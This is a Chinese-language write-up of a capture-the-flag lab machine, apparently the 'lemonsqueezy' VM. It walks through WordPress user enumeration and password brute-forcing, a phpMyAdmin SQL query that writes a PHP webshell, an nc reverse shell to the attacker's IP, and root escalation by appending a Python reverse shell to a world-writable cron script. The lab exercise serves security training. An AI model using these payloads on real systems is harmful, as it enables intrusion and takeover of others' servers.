1.信息收集
靶机地址:192.168.71.135
kali地址:192.168.71.129
端口扫描
只开放了80端口,打开为apache的默认页面。继续扫描目录:
gobuster dir -u http://192.168.71.135/ -w /usr/share/wordlists/dirb/common.txt
扫出了两个应用:phpmyadmin和wordpress
2.扫描WordPress
这里用到wpscan来扫描WordPress应用,它是一个专门针对于WordPress的安全扫描器。
用以下命令枚举用户:
wpscan --url http://192.168.71.135/wordpress -e u
爆破出来两个用户名:lemon和orange
接下来可以利用wpscan爆破密码,这里可以修改/etc/hosts,把域名加入。
用以下命令爆破密码:
wpscan --url http://lemonsqueezy/wordpress --passwords /usr/share/wordlists/rockyou.txt --usernames lemon,orange
获取到了orange用户的密码为ginger。好的,现在登录WordPress!
登录之后,在post页面中发现了类似密码的东西。想起来还有一个phpmyadmin应用没有利用,所以尝试能否登录。
用户名还是orange,密码n0t1n@w0rdl1st!,登录phpmyadmin系统。
登录后在wordpress数据库的wp_users表中发现了用户信息:
然后用hash分析器分析这是什么hash,但是没有成功。把lemon的hash改成orange的hash,也没有登录成功。
3.利用Phpmyadmin获取反弹shell
在phpmyadmin的SQL页面,输入以下命令:
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/wordpress/backdoor.php"
这里是在靶机上创建一个backdoor.php文件,可以作为以cmd为参数的webshell。
访问后门,webshell执行成功!
那么现在获取反弹shell,webshell的cmd参数为:
nc -e /bin/bash 192.168.71.129 4444
获取shell成功,当前用户为www-data。
获取到user.txt。
4.提权
利用pspy工具对系统进程进行监控,首先把pspy脚本上传到靶机上去。
kali
python3 -m http.server 8000
靶机
wget http://192.168.71.129:8000/pspy64s
启动pspy:
chmod +x pspy64s && ./pspy64s -p -i 1000
发现可疑程序,每两分钟运行一次,作用是删除/tmp文件夹下的文件。
查看这个文件,发现它可以被任何用户读、写和执行,拥有者为root。
查看这个文件,是一个python程序。
把它修改为python reverse shell:
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.71.129",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> logrotate
等待几分钟,待程序执行时,在kali监听端口中获得反弹shell。
获取到root权限和root用户flag。
5.总结
这个靶机主要考察以下知识点:
- wpscan为专用于扫描WordPres的工具,可以枚举用户及爆破密码;
- 利用phpmyadmin获取webshell;
- pspy工具监控进程运行,修改程序执行反弹shell代码